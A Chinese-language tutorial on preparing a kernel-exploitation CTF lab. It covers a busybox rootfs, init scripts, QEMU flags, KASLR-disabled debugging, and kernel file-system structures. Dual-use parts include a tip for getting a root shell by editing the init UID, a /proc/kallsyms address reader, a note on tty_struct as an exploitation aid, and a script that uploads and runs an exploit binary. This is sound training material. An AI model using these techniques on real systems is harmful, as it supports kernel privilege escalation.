          │           [*] Use -mpreferred-stack-boundary=2 on i386 arch (NEW)                            
          │           [*] Use -static-libgcc (NEW)                                                       
          │           --- Installation Options ("make install" behavior)                                 
         What kind of applet links to install (as soft-links)  --->                     
         (./rootfs) Destination path for 'make install'                                     
          │           --- Debugging Options                                                              
          │           [ ] Build with debug information (NEW)                                             
          │           [ ] Enable runtime sanitizers (ASAN/LSAN/USAN/etc...) (NEW)                        
          │           [ ] Build unit tests (NEW)                                                         
          │           [ ] Abort compilation on any warning (NEW)                                         
          │           [ ] Warn about single parameter bb_xx_msg calls (NEW)                              
         ───────────↓(+)─────────────────────────────────────────────────────────────────────────────┘  
         ├────────────────────────────────────────────────────────────────────────────────────────────────  
                                         <Select>    < Exit >    < Help >                                │  
         ────────────────────────────────────────────────────────────────────────────────────────────────┘  
           
       
  3. 编译安装 busybox。

    1
    2
    make -j$(nproc)
    make install

完成上述步骤后,编译好的 busybox 会被安装在源码目录下的 rootfs 文件夹中,结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
rootfs
├── bin
│   ├── arch -> busybox
│   ├── ash -> busybox
│   ├── base32 -> busybox
│   ├── [...]
├── linuxrc -> bin/busybox
├── sbin
│   ├── acpid -> ../bin/busybox
│   ├── adjtimex -> ../bin/busybox
│   ├── arp -> ../bin/busybox
│   ├── [...]
└── usr
├── bin
│   ├── [ -> ../../bin/busybox
│   ├── [[ -> ../../bin/busybox
│   ├── ascii -> ../../bin/busybox
│   ├── [...]
└── sbin
├── add-shell -> ../../bin/busybox
├── addgroup -> ../../bin/busybox
├── adduser -> ../../bin/busybox
├── [...]

初始化文件系统

主要是在 rootfs 目录上创建一些基本的目录和文件。

1
2
3
4
5
6
cd rootfs
mkdir -pv {bin,sbin,etc,dev,tmp,proc,sys,home,root,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS
  1. 在 busybox 编译安装到的 rootfs 目录下创建必要的目录。

    1
    mkdir -pv {bin,sbin,etc,dev,tmp,proc,sys,home,root,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
    • **bin**:用户级别的命令二进制文件。
    • **sbin**:系统管理命令二进制文件。
    • **etc**:系统配置文件。
    • **dev**:设备文件,表示系统中所有的硬件设备。
    • **tmp**:临时文件目录,通常存放应用程序临时产生的数据。
    • proc 和 **sys**:虚拟文件系统,分别提供进程信息和内核状态信息。
    • **home**:用户的家目录,通常每个普通用户会有一个子目录。
    • **root**:root 用户的 home 目录。
    • **lib64**:64 位的共享库文件。
    • **lib/x86_64-linux-gnu**:这是特定平台(如 x86_64 架构)下的库文件目录。
    • usr/bin 和 **usr/sbin**:存放应用程序和系统管理工具的二进制文件。
  2. 创建 inittab 文件

    1
    touch etc/inittab

    inittab 是 SystemV init 制度下的初始化配置文件,用于定义系统启动时运行哪个程序(通常是 init),以及启动哪些运行级别(runlevel)。在某些非常精简的环境中你可能需要一个简化的或自定义的 inittab 文件,即使是空的也可先占位。

  3. 创建 etc/init.d 目录与 rcS 文件

    1
    2
    3
    mkdir etc/init.d
    touch etc/init.d/rcS
    chmod +x ./etc/init.d/rcS

    init.d 目录通常存放系统初始化脚本,用来在特定运行级别或启动阶段执行初始化任务,如挂载文件系统、启动网络服务、设置时区等。

    创建 rcS 文件作为一个初始启动脚本,并对其赋予可执行权限(chmod +x)。该脚本在系统启动过程的早期阶段被运行。

配置初始化脚本

配置初始化脚本这里根据文件系统的类型有所区分。

initrd 磁盘启动脚本路径

初始化 RAM 磁盘(initrdinitramfs)中运行的启动脚本或程序由内核参数 rdinit 指定,在 rdinit_setup 函数中会将该参数指定的路径赋值给全局变量 ramdisk_execute_command

1
2
3
4
5
6
7
8
9
10
11
static int __init rdinit_setup(char *str)
{
unsigned int i;

ramdisk_execute_command = str;
/* See "auto" comment in init_setup */
for (i = 1; i < MAX_INIT_ARGS; i++)
argv_init[i] = NULL;
return 1;
}
__setup("rdinit=", rdinit_setup);

如何不指定 rdinit 参数则在 kernel_init -> kernel_init_freeable 中设置为默认路径 /init

1
2
if (!ramdisk_execute_command)
ramdisk_execute_command = "/init";

kernel_init 中会在用户空间运行 ramdisk_execute_command 指定的程序创建 init 进程。

1
2
3
4
5
6
7
if (ramdisk_execute_command) {
ret = run_init_process(ramdisk_execute_command);
if (!ret)
return 0;
pr_err("Failed to execute %s (error %d)\n",
ramdisk_execute_command, ret);
}

因此我们可以通过内核参数 rdinit 指定 init 进程对应的可执行程序,或者使用默认的 \init 路径。

hda 磁盘启动脚本路径

对于像 hda 这样的块设备作为磁盘的情况,需要通过内核参数 init 来指定初始化脚本路径。在 init_setup 函数中这个路径会被赋值到 execute_command 变量中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int __init init_setup(char *str)
{
unsigned int i;

// 设置初始化进程的命令行路径(即 init 进程的路径)
execute_command = str;

/*
* 如果 LILO 引导程序使用默认的命令行启动,
* 它会在整个命令行前面加上 "auto",这使得 shell 认为应该
* 执行名为 "auto" 的脚本。
* 所以,我们会忽略 init= 参数之前的所有命令行参数。[MJ]
*/
for (i = 1; i < MAX_INIT_ARGS; i++)
argv_init[i] = NULL;

return 1;
}
__setup("init=", init_setup);

kernel_init 函数中如果没有指定 initrd 类型磁盘的初始化脚本路径则会尝试执行 hda 类型磁盘的初始化脚本。如果 hda 类型磁盘没有指定初始化脚本则会依次尝试执行 /sbin/init/etc/init/bin/init/bin/sh 作为 init 进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static int __ref kernel_init(void *unused)
{
[...]

/*
* 尝试执行指定的初始化命令(如 /init)直到其中一个成功为止
* 如果执行失败,会继续尝试其他路径的 init 程序。
*/
if (execute_command) {
ret = run_init_process(execute_command);
if (!ret)
return 0; // 如果命令执行成功,返回 0 退出
panic("Requested init %s failed (error %d).", // 如果执行失败,输出错误并引发内核恐慌
execute_command, ret);
}

// 尝试执行默认路径下的 init 程序,依次为 /sbin/init、/etc/init、/bin/init、/bin/sh
if (!try_to_run_init_process("/sbin/init") ||
!try_to_run_init_process("/etc/init") ||
!try_to_run_init_process("/bin/init") ||
!try_to_run_init_process("/bin/sh"))
return 0; // 如果成功执行任何一个 init 程序,返回 0

// 如果没有找到有效的 init 程序,触发内核 panic 并输出错误信息
panic("No working init found. Try passing init= option to kernel. "
"See Linux Documentation/admin-guide/init.rst for guidance.");
}

因此我们可以通过内核参数 init 指定 init 进程对应的可执行程序,或者使用默认的路径。

配置 init 启动脚本

init 进程是类 UNIX 操作系统中最初启动的进程,也是系统的祖先进程,所有其他进程都是它的子孙进程。init 进程的 PID(进程号)为 1,是操作系统中的第一个用户级进程。

在 Linux 系统中,init 进程负责系统启动后的初始化工作,包括启动系统服务、挂载文件系统、设置网络等。它通过读取配置文件来启动其他系统进程,因此 init 是系统正常运行的基础。

init 进程的配置方式有多种,它随着操作系统的版本、架构以及具体使用的初始化系统(如 SysVinitUpstartsystemd 等)而有所不同。每种方式都通过不同的配置文件和机制来管理系统启动、服务管理、进程监控等任务。

当然,对于我们搭建的简易 Linux 环境,由于不涉及复杂的系统服务启动和初始化,因此只需要配置一个简单的 shell 脚本作为 init 进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp

mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

setsid cttyhack setuidgid 1000 sh

poweroff -d 0 -f
  1. 首先我们需要挂载一下基本的虚拟文件系统

    • proc:提供进程信息的虚拟文件系统。

    • sysfs:提供内核设备信息和其它相关系统信息的虚拟文件系统。

    • devtmpfs:用于自动创建设备文件,如 /dev/null/dev/zero 等,且自动管理设备节点。

      自定义标题

      注意,hda 类型的磁盘在内核启动阶段自动挂载 devtmpfs,不需要在 init 脚本中进行。

    • tmpfs:一个临时的文件系统,通常用于存放临时文件。

  2. 之后我们可能会加载一下需要的驱动或者挂载一些必要的设备。例如示例中挂载了一个伪终端设备 ptmx,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,为一些内核利用创造了条件。

    1
    2
    mkdir /dev/pts
    mount -t devpts devpts /dev/pts
  3. 启动一个 shell 进程,并将它绑定到终端上,允许用户登录系统。

    1
    setsid cttyhack setuidgid 1000 sh
    • setsid:启动一个新的会话,通常用于启动后台进程。

    • cttyhack:这个命令用于确保新的终端会话能够获取控制终端。它是 init 进程启动 shell 时用来保证 shell 进程可以与终端交互的工具。

      控制终端(Control Terminal,简称 TTY)是 Unix 和类 Unix 系统中的一个概念,用于描述用户和操作系统之间的交互界面。它是一个终端设备(例如控制台、虚拟终端、伪终端等),允许用户通过输入命令与系统交互,并输出运行结果。

    • setuidgid 1000:这个命令是 runit 工具中的一部分,用于设置进程的 UID 和 GID,这里将 UID 和 GID 设置为 1000。UID 1000 通常是第一个普通用户的 UID(通常是用户 user)。

      提示

      在 ctf 题目中可以把 1000 改成 0 然后重新打包文件系统,这样启动系统之后可以获得一个 root 权限的 shell,从而可以完成查看符号地址等一些高权限行为。

    • sh:执行一个 shell,用户可以与系统进行交互。

  4. 设置 shell 退出后关机。

    1
    poweroff -d 0 -f
    • -d 0:指定关闭延迟为 0,即立刻关闭。
    • -f:强制关闭,不进行正常关机过程中的清理工作。

当我们不配置 init 脚本路径的时候,对于 hda 类型的文件系统,会尝试把 /sbin/init 作为 init 进程对应的可执行程序。而

busybox 在 /sbin/init 提供了一个可执行程序,这个程序会按照对应的配置进行系统的初始化操作。busybox 的 init 配置比较简单,配置文件位于 /etc/inittab/etc/init.d/ 中。

首先配置 etc/inttab ,写入如下内容:

1
2
3
4
5
6
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

这些内容中最关键的是 ::sysinit:/etc/init.d/rcS,它指定了 /etc/init.d/rcS 作为系统启动脚本。

我们只需要在 /etc/init.d/rcS 写入 init 进程启动脚本就行。所以这种配置方式本质上还是前一种方法,跟 busybox 的初始化系统关系不大。

配置用户组

/etc/passwd 中创建两个用户:rootctf

1
2
root:x:0:0:root:/root:/bin/sh
ctf:x:1000:1000:ctf:/home/ctf:/bin/sh

/etc/group 中创建两个用户:rootctf

1
2
root:x:0:
ctf:x:1000:

运行与调试

内核启动

内核启动脚本负责启动一个简易的 linux 环境。

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

qemu-system-x86_64 \
-m 64M \
-kernel bzImage \
-initrd rootfs.cpio \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-monitor /dev/null \
--nographic \
-append 'console=ttyS0 nokaslr pti=1 quiet oops=panic panic=1' \
-enable-kvm

在用 qemu-system 启动内核时,常用的选项如下

  • -m:指定内存大小,默认 384MB。

  • -kernel:指定内核镜像文件。

  • -initrd:指定初始内存磁盘,用于启动时加载必要的文件系统和驱动。

  • -smp [cpus=]n[,cores=cores][,threads=threads][,dies=dies][,sockets=sockets][,maxcpus=maxcpus]:用于设置虚拟机使用的 CPU 数量和拓扑结构。

    • cores=n:指定 CPU 核心数。
    • threads=n:指定 CPU 每个核心的线程数。
    • sockets=n:指定 CPU 插槽数。
    • dies=n:设置 CPU die 数。
    • maxcpus=n:指定最大 CPU 数目,适用于多核虚拟化。
  • -cpu:指定指定要模拟的处理器架构,可以同时开启一些保护。

    • kvm64:指定虚拟机使用 KVM 模拟的 64 位 CPU 类型。这个参数并不意味着并不意味着开启了 KVM 虚拟化加速,KVM 的启用需要通过 -enable-kvm 参数来显式开启。但是一些特性例如 KPTI 是可以支持的。
    • +smap:开启 SMAP(Supervisor Mode Access Prevention)保护,用于防止内核访问用户空间数据。
    • +smep:启用 SMEP(Supervisor Mode Execution Protection),这是 Intel 或 AMD 处理器的一种安全功能,可以防止内核从用户空间执行代码,增强系统的安全性。
  • -nographic:禁用 QEMU 的图形界面输出。使用此选项时,虚拟机的输出将通过当前终端显示,而不是在图形窗口中呈现。

  • -monitor:对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。

    • -monitor /dev/nullCtrl + c 可以直接退出 QEMU,因为此时 QEMU 不会启动监控控制台,终端的输入会直接传递给 QEMU 进程。Ctrl+C 信号就直接发送给 QEMU,导致 QEMU 退出。
  • -append:向内核传递命令行参数,可以在 /proc/cmdline 中查看当前内核的命令行参数。另外在内核源码的 Documentation/admin-guide/kernel-parameters.txt 有详细的内核参数说明。这里列举几个常见的内核参数:

    • nokaslr:禁用内核地址空间布局随机化(KASLR)。

    • pti=1/0:启用或禁用内核页表隔离(KPTI)。

    • console=ttyS0:和 nographic 一起使用,启动的界面就变成了当前终端。

      ttyS0 是第一个串行端口(通常是 /dev/ttyS0)。在 QEMU 中,ttyS0 是虚拟化的串行端口。QEMU 创建了一个虚拟串行端口设备,用于与虚拟机交互,类似于物理机器上的串行端口。

    • quiet:不打印内核日志信息。

    • oops=panic:当内核遇到错误时立即触发 panic,导致系统崩溃并重启,而不是继续执行。

    • panic=1:当内核触发 panic 时,系统将立即重新启动,而不是让系统停机。这样可以在发生内核崩溃时尽快恢复。

  • -enable-kvm:QEMU 会尝试利用 KVM 加速来提升虚拟机的性能,前提是主机支持 KVM,并且要以管理员权限启动 QEMU。

安装 qemu 后运行启动脚本即可启动 linux 系统。

1
sudo apt install qemu-system -y

内核调试

关键地址的获取方法

获取模块基址的方法
  • lsmod 命令列出了所有加载的模块及其相关信息,其中就包含了模块基址。

    1
    lsmod | grep <module_name>

    例如:

    1
    2
    ~ # lsmod
    hello 16384 0 - Live 0xffffffffc0002000 (OE)
  • 查看 /sys/module 中的段信息。

    1
    cat /sys/module/<module_name>/sections/.text
获取内核符号的方法

/proc/kallsyms 是 Linux 内核中的一个虚拟文件,它包含了内核中所有符号(函数、变量等)的名称、地址和类型信息。这个文件是内核调试、符号查找和分析的一个重要工具。这里给出从 /proc/kallsyms 获取符号地址的 C 代码模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
size_t get_symbol_address(const char *symbol_name) {
FILE *kallsyms_fp = fopen("/proc/kallsyms", "r");
if (!kallsyms_fp) {
perror("[-] failed to open /proc/kallsyms");
return -1;
}
size_t symbol_addr = 0;
char buf[0x80] = {};
while (!symbol_addr && fgets(buf, sizeof(buf), kallsyms_fp)) {
if (strstr(buf, symbol_name)) {
sscanf(buf, "%lx %*s %*s", &symbol_addr);
break;
}
memset(buf, 0, sizeof(buf));
}
fclose(kallsyms_fp);

if (symbol_addr) {
printf("[+] symbol address: %#016llx\n", symbol_addr);
return symbol_addr;
}
puts("[-] failed to get symbol address.");
return -1;
}
获取内核基址的方法

可以利用符号 _text 来确定内核加载的起始地址。_text 是内核代码段的起始符号,它通常位于内核的起始地址位置。

1
grep "T _text" /proc/kallsyms
数据显示相关保护

Dmesg Restrictions

/proc/sys/kernel/dmesg_restrict 是一个用于控制内核日志访问权限的 Linux 内核参数,该参数控制了普通用户能否通过 dmesg 命令查看内核日志。

  • **值为 0**:默认情况下,所有用户都可以查看内核日志(包括普通用户)。
  • **值为 1**:限制普通用户访问内核日志,只有 root 用户(或具有相应权限的用户)才能查看。

Kernel Address Display Restriction

内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制系统中涉及内核地址的一些输出打印。

  • kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限。
  • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限。
  • kptr_restrict == 0 : root 和普通用户都可以读取

提示

dmesg 中的内核地址显示不受 kptr_restrict 影响。

QEMU 仿真的简易 Linux 环境

首先需要对内核启动脚本做如下修改,使其支持和方便 gdb 调试。

  • 在内核启动参数即 qemu-system 中 -append 参数中添加 nokaslr 关闭内核地址随机化,方便下断点。
  • 添加 gdb 调试端口:
    • -gdb tcp::<port>:开启 gdb 调试端口,例如 -gdb tcp::1337,gdb 连接该本地 1337 端口即可调试 qemu 仿真的 linux 系统。
    • -s-gdb tcp::1234 的简写。
    • -S(可选):会在启动时暂停虚拟机,直到 GDB 连接。

具体修改内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
--- ./boot.sh	2024-12-06 15:30:58.306382140 +0800
+++ ./boot-debug.sh 2024-12-06 15:31:32.488855596 +0800
@@ -1,12 +1,13 @@
#!/bin/bash

qemu-system-x86_64 \
-m 64M \
-kernel bzImage \
-initrd rootfs.cpio \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-monitor /dev/null \
--nographic \
- -append 'console=ttyS0 root=/dev/ram kaslr pti=on quiet oops=panic panic=1' \
- -enable-kvm
+ -append 'console=ttyS0 root=/dev/ram nokaslr pti=on quiet oops=panic panic=1' \
+ -enable-kvm \
+ -s

然后为了方便调试,这里直接使用 shell 脚本 gdb.sh 启动 gdb 调试。

1
2
3
4
5
6
7
8
9
#!/bin/sh

gdb -q \
-ex "file ./vmlinux" \ # 加载内核映像,'vmlinux' 是编译后的内核映像,包含调试符号
-ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000" \ # 加载内核模块的符号文件 'babydriver.ko',并指定基址
-ex "dir ../linux-4.4.72" \ # 添加内核源代码目录,这样可以让 GDB 找到源码文件进行源码级调试
-ex "target remote localhost:1234" \ # 连接到 QEMU 中的 GDB 服务器,监听端口 1234
-ex "b babyopen" \ # 设置断点,在内核中的 'babyopen' 函数处断点
-ex "c" # 开始继续执行

注意

gdb.sh 必须以 root 权限启动,否则部分调试功能结果可能有误(例如 vmmap)。

  • -ex "file ./vmlinux": 加载内核镜像 vmlinux 中的符号。其中 vmlinux 是未压缩的 linux 内核镜像文件,关于它的获取后面有专门的讲解。
  • -ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000":这行用于加载内核模块 babydriver.ko 的调试符号,并指定该模块在内核中的加载地址(0xffffffffc0000000)。

Vmware 运行的完整 Linux 系统

编辑 /etc/default/grub,在 GRUB_CMDLINE_LINUX 选项添加 nokaslr 内核参数关闭内核地址随机化。

1
2
3
4
5
6
7
8
9
10
11
--- /etc/default/grub.bak	2024-12-10 10:49:05.733806632 +0800
+++ /etc/default/grub 2024-12-10 10:30:23.302397655 +0800
@@ -8,7 +8,7 @@
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`( . /etc/os-release; echo ${NAME:-Ubuntu} ) 2>/dev/null || echo Ubuntu`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
-GRUB_CMDLINE_LINUX=""
+GRUB_CMDLINE_LINUX="nokaslr"

# If your computer has multiple operating systems installed, then you
# probably want to run os-prober. However, if your computer is a host

之后更新 GRUB 配置(不同的 Linux 发行版可能略有不同)。

1
sudo update-grub

关机之后在 vmx 文件中添加如下内容,使得虚拟机支持远程调试:

1
2
3
4
5
6
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12346"

注意

在编辑 vmx 文件的时候一定要确保虚拟机处于关机状态,否则不会生效。

远程 exp 传输

通常 buxybox 中有 wgetcurltftpnc 等可以传输文件的工具。不过很多时候出题人没有在 qemu 启动脚本中给 linux 虚拟环境配置网络,也就是说我们只能与 linux 环境的终端交互,而不能让该 linux 环境与本地建立链接传输文件。

因此我们只能通过终端往里写文件,常用的传输脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import base64
from rich.progress import *

# context.log_level = 'debug'

# p = remote("127.0.0.1", 1337)
p = process(['./run.sh'])
chunk_size = 0x200
banner = b"/ $"

with open("./exp", "rb") as f:
exp = base64.b64encode(f.read()).decode()

with Progress(
TextColumn("[bold blue]{task.description}"),
BarColumn(),
"[progress.percentage]{task.percentage:>3.0f}%",
TextColumn("[bold green]{task.completed} / {task.total}", justify="right"),
TransferSpeedColumn(),
TimeRemainingColumn()
) as progress:
task = progress.add_task("sending exploit...", total=len(exp), completed=0)

for i in range(0, len(exp), chunk_size):
chunk = exp[i:i + chunk_size]
p.sendlineafter(banner, f"echo -n '{chunk}' >> /tmp/b64_exp".encode())
progress.update(task, advance=len(chunk))

p.sendlineafter(banner, b"cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendlineafter(banner, b"chmod +x /tmp/exploit")
p.sendlineafter(banner, b"/tmp/exploit ")

p.interactive()

由于一般的 ctf 环境会在 init 脚本中设置定时关机(一般为 120 秒),这就需要我们的 exp 尽可能小。我们通常有如下角度 作优化:

  • 借助编译参数

    1
    gcc -static -Os -s -ffunction-sections -fdata-sections -Wl,--gc-sections -flto -o exp exp.c
    • -Os:GCC 提供的专门用于优化代码大小的选项。
    • -s:从生成的 ELF 文件中删除符号信息和调试信息。
    • -ffunction-sections -fdata-sections:将每个函数和数据放入单独的节中,便于链接器去除未使用的部分。
    • -Wl,--gc-sections:链接器会自动去除未使用的节,从而减小最终的可执行文件大小。
    • -flto:启用链接时优化,可以进一步消除未使用的代码和数据。
  • 使用更小的标准库

    标准 C 库(如 glibc)通常较大,使用更小的替代品可以显著减小 ELF 文件大小。例如 musl 是一个轻量级的 C 标准库,适用于嵌入式和资源受限的环境。

    • 安装 musl 工具链

      1
      sudo apt-get install musl-tools
    • 编译程序:用 musl-gcc 代替 gcc,要注意的是 musl 的支持性不如 glibc。

  • 使用压缩工具

    1
    upx --best --lzma exp

Linux 内核模块

LKM(Loadable Kernel Module) 是指可加载内核模块,通常存储在 /lib/modules/$(uname -r)/kernel/ 目录下。它是 Linux 内核的一个重要概念。LKM 使得 Linux 内核能够在运行时动态加载或卸载模块,而无需重新编译或重启操作系统。这种模块化设计可以弥补 Linux 内核作为宏内核的不足,使得 Linux 内核非常灵活,能够根据实际需求添加新功能或更新现有功能。

内核模块相关命令:

  • insmod:将制定模块加载到内核中。
  • rmmod:从内核中卸载制定模块。
  • lsmod:列出已经加载的模块。
  • modinfo:查看模块信息。

万物皆文件

基本概念

“万物皆文件”是 Linux 和类 UNIX 系统的核心设计理念之一。它将所有系统资源(包括硬件设备、进程、网络套接字等)抽象为文件,提供了一种统一的接口(如openreadwritecloseioctl 等)进行操作。这种设计不仅简化了系统资源的管理,也提升了系统的灵活性和可扩展性。

注意

现代 Linux 系统的内核模块种类繁多,功能需求多样化,因此许多内核模块并不完全遵守“万物皆文件”的设计理念,也不是所有类型的模块都对应文件或通过文件操作相关的 API 进行交互。

例如一些网络数据包过滤相关的模块不是通过用户主动的文件操作进行交互的,而是通过发送一些网络数据包被动的进行交互。

1
2
3
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
send(sockfd, buffer, length, 0);

不过在 ctf 题目中涉及到的内核模块主要是字符设备,这一类内核模块遵守万物皆文件的设计理念,也是这里主要介绍的内核模块。

Linux 内核通过一套统一的抽象层和数据结构来支持“万物皆文件”理念,使得用户可以以文件的形式访问各种底层资源。这个实现机制的核心在于 VFS (Virtual File System,虚拟文件系统)抽象层,以及围绕 VFS 的数据结构(super_blockinodedentryfile)和文件描述符(File Descriptor)管理方式。另外,设备文件、管道、套接字和特殊的虚拟文件系统(如 /proc/sys)也通过特定的内核机制与 VFS 对接,从而为用户提供统一的文件接口。

文件描述符

文件描述符(File Descriptor,简称 FD)是操作系统用来标识一个打开文件的整数值。在类 Unix 系统中,文件描述符是进程与操作系统内核之间进行文件操作的接口。每个文件描述符都关联着一个具体的文件或资源(例如:文件、管道、套接字等),并且通过文件描述符来访问这些资源。

文件描述符是一个非负整数,通常是一个从 0 开始的索引,用来标识进程打开的文件。

每个进程有自己的文件描述符表。在 Linux 系统中,进程结构体 task_struct 中有一个成员 struct files_struct *files 指向 files_struct 结构体。这个结构体主要是维护进程打开的文件,其中 fd_array 就是文件描述符表,这个表通过成员 fdt 指向的 fdtab 结构来进行维护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
* 打开文件表结构体
*/
struct files_struct {
/*
* 主要是读操作的部分
*/
atomic_t count; // 文件结构体引用计数
bool resize_in_progress; // 是否正在进行文件表扩展
wait_queue_head_t resize_wait; // 等待文件表扩展完成的等待队列

struct fdtable __rcu *fdt; // 文件描述符表(RCU 形式)
struct fdtable fdtab; // 文件描述符表的具体实现
/*
* 写操作部分,存储在不同的缓存行,以优化 SMP(对称多处理)性能
*/
spinlock_t file_lock ____cacheline_aligned_in_smp; // 文件表锁,确保多核环境下的同步
unsigned int next_fd; // 下一个可用的文件描述符
unsigned long close_on_exec_init[1]; // 存储 close-on-exec 标志的初始化位
unsigned long open_fds_init[1]; // 存储已打开文件的初始化位
unsigned long full_fds_bits_init[1]; // 存储所有文件描述符的初始化位
struct file __rcu * fd_array[NR_OPEN_DEFAULT]; // 文件描述符数组,存储每个文件的指针(RCU 形式)
};

当进程启动时,操作系统会为其自动打开三个文件描述符,这些文件描述符分别对应标准输入、标准输出和标准错误:

  • 0:标准输入(stdin)
  • 1:标准输出(stdout)
  • 2:标准错误(stderr)

这些文件描述符在程序中可直接使用,其他的文件描述符会在程序中打开新文件时分配。

例如当进程打开一个文件时,操作系统会分配一个文件描述符,并返回该文件描述符给程序。此时,程序可以使用该文件描述符来进行文件读写操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
int fd = open("file.txt", O_RDONLY);
if (fd == -1) {
perror("Failed to open file");
} else {
// 使用文件描述符 fd 进行文件操作
char buffer[100];
ssize_t bytes_read = read(fd, buffer, sizeof(buffer)); // 读写文件
if (bytes_read > 0) {
// 处理读取的数据
}

close(fd); // 关闭文件
}

虚拟文件系统 (VFS)

VFS 是内核中的一个抽象层,负责为各种不同的文件系统提供统一的接口。VFS 不存储实际文件数据,它是一个中间层,实现了对不同类型文件系统的抽象和统一管理,使操作系统能以相同的方式访问不同类型的存储介质和资源。

VFS 的数据结构关系如下图所示:

VFS

其中 inode 结构体包含文件访问权限、所有者、组、大小、生成时间、访问时间、最后修改时间等信息。它是Linux管理文件系统的最基本单位,也是文件系统连接任何子目录、文件的桥梁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct inode {
umode_t i_mode; // inode的权限
unsigned short i_opflags;
kuid_t i_uid; // inode所有者的id
kgid_t i_gid; // inode所属的群组id
unsigned int i_flags;
...
dev_t i_rdev; // 若是设备文件,此字段将记录设备的设备号
loff_t i_size; // inode所代表的文件大小
struct timespec i_atime; // inode最近一次的存取时间
struct timespec i_mtime; // inode最近一次的修改时间
struct timespec i_ctime; // inode的产生时间
spinlock_t i_lock; /* i_blocks, i_bytes, maybe i_size */
unsigned short i_bytes;
unsigned int i_blkbits;
blkcnt_t i_blocks; // inode所使用的block数,一个block为512字节
...
union {
struct pipe_inode_info *i_pipe; // 若是管道,为其对应的 pipe_inode_info 结构体指针
struct block_device *i_bdev; // 若是块设备,为其对应的 block_device 结构体指针
struct cdev *i_cdev; // 若是字符设备,为其对应的 cdev 结构体指针
char *i_link; // 符号链接路径
unsigned i_dir_seq; // 目录序列号(用于目录变化的检测)
};
...

从其中的联合体成员我们可以看出 VFS 中的文件可以是管道文件、块设备文件、字符设备文件、符号链接文件和目录文件。

在操作系统中,尤其是 Unix 和 Linux 操作系统中,设备被分为 块设备(Block Device)和 字符设备(Character Device)。这两种设备类型主要根据数据的存取方式以及与硬件的交互方式来区分。

  • 块设备是指可以以 为单位进行数据存取的设备。每个块通常是固定大小的(例如 512 字节、4 KB 或其他大小),并且这些设备支持 随机访问。块设备通常会在内存中进行缓冲(缓存),即数据块会先被读到内存中,然后再进行其他操作(例如写入磁盘),提高效率。硬盘(HDD)、固态硬盘(SSD)、光盘、USB 驱动器、虚拟磁盘等都属于块设备
  • 字符设备是指按 字符 为单位进行数据存取的设备,这些设备是 顺序访问 的,通常不支持随机访问。字符设备与硬件设备的交互方式较为简单,数据是按字节流的形式传输的。键盘、鼠标、串行端口、终端、打印机、音频设备等都是字符设备。

file 结构体代表一个打开的文件,系统中每个打开的文件在内核空间都有一个关联的 struct file 。它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
struct file {
/* 联合体,用于存储不同的文件管理结构 */
union {
/* 链表节点,文件可能在链表中管理 */
struct llist_node fu_llist;
/* RCU(Read-Copy-Update)头,用于引用计数和延迟删除 */
struct rcpu_head fu_rcuhead;
} f_u;

/* 文件路径,表示文件在文件系统中的位置 */
struct path f_path;

/* 缓存的 inode 指针,表示文件的 inode(文件元数据) */
struct inode *f_inode; /* 缓存的值 */

/* 文件操作结构体,包含该文件支持的操作(如读、写、打开等) */
const struct file_operations *f_op;

/* 用于保护 f_ep_links 和 f_flags,防止并发访问时的数据损坏 */
spinlock_t f_lock;

/* 提示文件是否会进行写操作,通常用于优化文件写入 */
enum rw_hint f_write_hint;

/* 文件引用计数,用于管理文件的打开计数 */
atomic_long_t f_count;

/* 文件标志(如只读、只写等) */
unsigned int f_flags;

/* 文件的访问模式(读、写、读写) */
fmode_t f_mode;

